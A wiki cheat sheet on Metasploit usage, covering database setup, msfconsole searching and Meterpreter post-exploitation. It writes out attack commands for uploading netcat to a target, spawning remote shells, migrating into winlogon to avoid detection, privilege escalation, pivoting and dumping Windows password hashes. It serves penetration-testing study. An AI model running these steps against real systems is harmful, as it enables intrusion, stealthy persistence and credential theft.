Metasploit

From Grayhat cheatsheets
Jump to navigationJump to search
  • The first time that metasploit is about to be used, we need to do the following before launching msfconsole:

service postgresql start

systemctl enable postgresql

msfdb init

msfconsole

git init


Useful commands at Msfconsole:


  • If we have opened a session, but for some reason meterpreter didn't come to the foreground, or we want to switch between sessions, we use the sessions command. For example, to switch to session 1:

sessions -i 1

  • With the help command we get all available options. There are many modules with different purposes, and a similar syntax of use. Information gathering modules are under the gather hierarchy, there is scanner, exploit, etc.
  • Once the parameters of a module have been chosen (RHOST, LHOST, etc), we execute the module with the command run (we can also launch exploits with the command exploit).

 

  • With the use command we select a module (which we have found with the search command). We can change to any module from inside any other module like this.
  • We can query the database, for instance, to show all the hosts compromised or detected so far with the port 443 open if we type services -p 443.
  • To select a payload for an exploit module we can, if for example the target is a Windows system, start typing set PAYLOAD windows/ and hit TAB, which will show us the available options.
  • Once we have a meterpreter shell, we can type help to see the available options. For example, sysinfo gives us information about the OS, or getuid shows the permissions we have in the host. We can search for files with the search, for example to look for files that contain the string "pass" in their name: search -f *pass*.txt.

 

  • Meterpreter helps in post exploitation tasks. For example, to upload netcat to the target we would do something like:upload /usr/share/windows/binaries/nc.exe C:\\Users\\user1, or we can also download files from the target with the download command.

 

  • We get a remote shell typing shell. The advantage of using a shell from inside meterpreter is that if the connection is lost somehow, we are back to meterpreter, and just neet to type shell once again. With exit we exit the shell and meterpreter.
  • With search we can filter the results we obtain. For example:

search name:smb type:exploit platform:windows Still, we may get a lot of results and filter further. We can use grep inside msfconsole like this: grep ndmp search oracle type:exploit platform:windows to get the exploits containing "ndmp".

  • It is very useful to migrate meterpreter to another process, which we know is stable, so that the session is less likely to die. To do this, among the exploit options we can do:

set AUTORUNSCRIPT post/windows/manage/migrate or the equivalent for linux, etc. Once we have a meterpreter session open, we can do ps to list the running processes, and do migrate x, where "x" is the ID of the process we want to migrate to. To migrate to a stable 64 bit process in windows, we can migrate to winlogon, by searching for it with ps -S winlogon, and then migrate to the corresponding ID.

  • There are different ways to handle what happens when we exploit a service in a host. If we know it is a service that can run multiple threads, we will get stable behavior with set exitfunc thread. This will open our session in a new thread, and when we exit, or if the exploit crashes the service, it will only crash that thread, therefore our presence will not be noted, since the service will still be up. We can force a restart with set exitfunc seh
  • Post exploitation and privilege escalation is facilitated with the "local_exploit_suggester" module. For example we will go to the background to leave meterpreter open, and use the local_exploit_suggester metasploit module, then set SESSION 1 and run the module in the backgrounded session 1.

After the exploit runs, it may say "exploit completed, but no session was created". At that point, go back to the meterpreter session sessions -i 1 and check with getuid if we have escalated privileges.

  • To try to do pivoting to another computer, do use auxiliary/server/socks4a. From there route add IP session, to be able to do pivoting to the specified IP, through the specified session a traves de la sesion "session". If we set the options to the default ones: set SRVHOST 0.0.0.0 and set SRVPORT 1080, for example, we need to write in /etc/proxychains.conf the line "socks4 127.0.0.1 1080". From that moment, we can execute things through proxychains, for example, curl, as if we had opened an SSH tunnel. The routes can be unwanted later, and to remove them we do: route del IP session
  • Port forwarding with: portfwd add -l 445 -r 127.0.0.1
  • To dump windows password hashes (SAM file, only in Windows) in meterpreter we can do hashdump.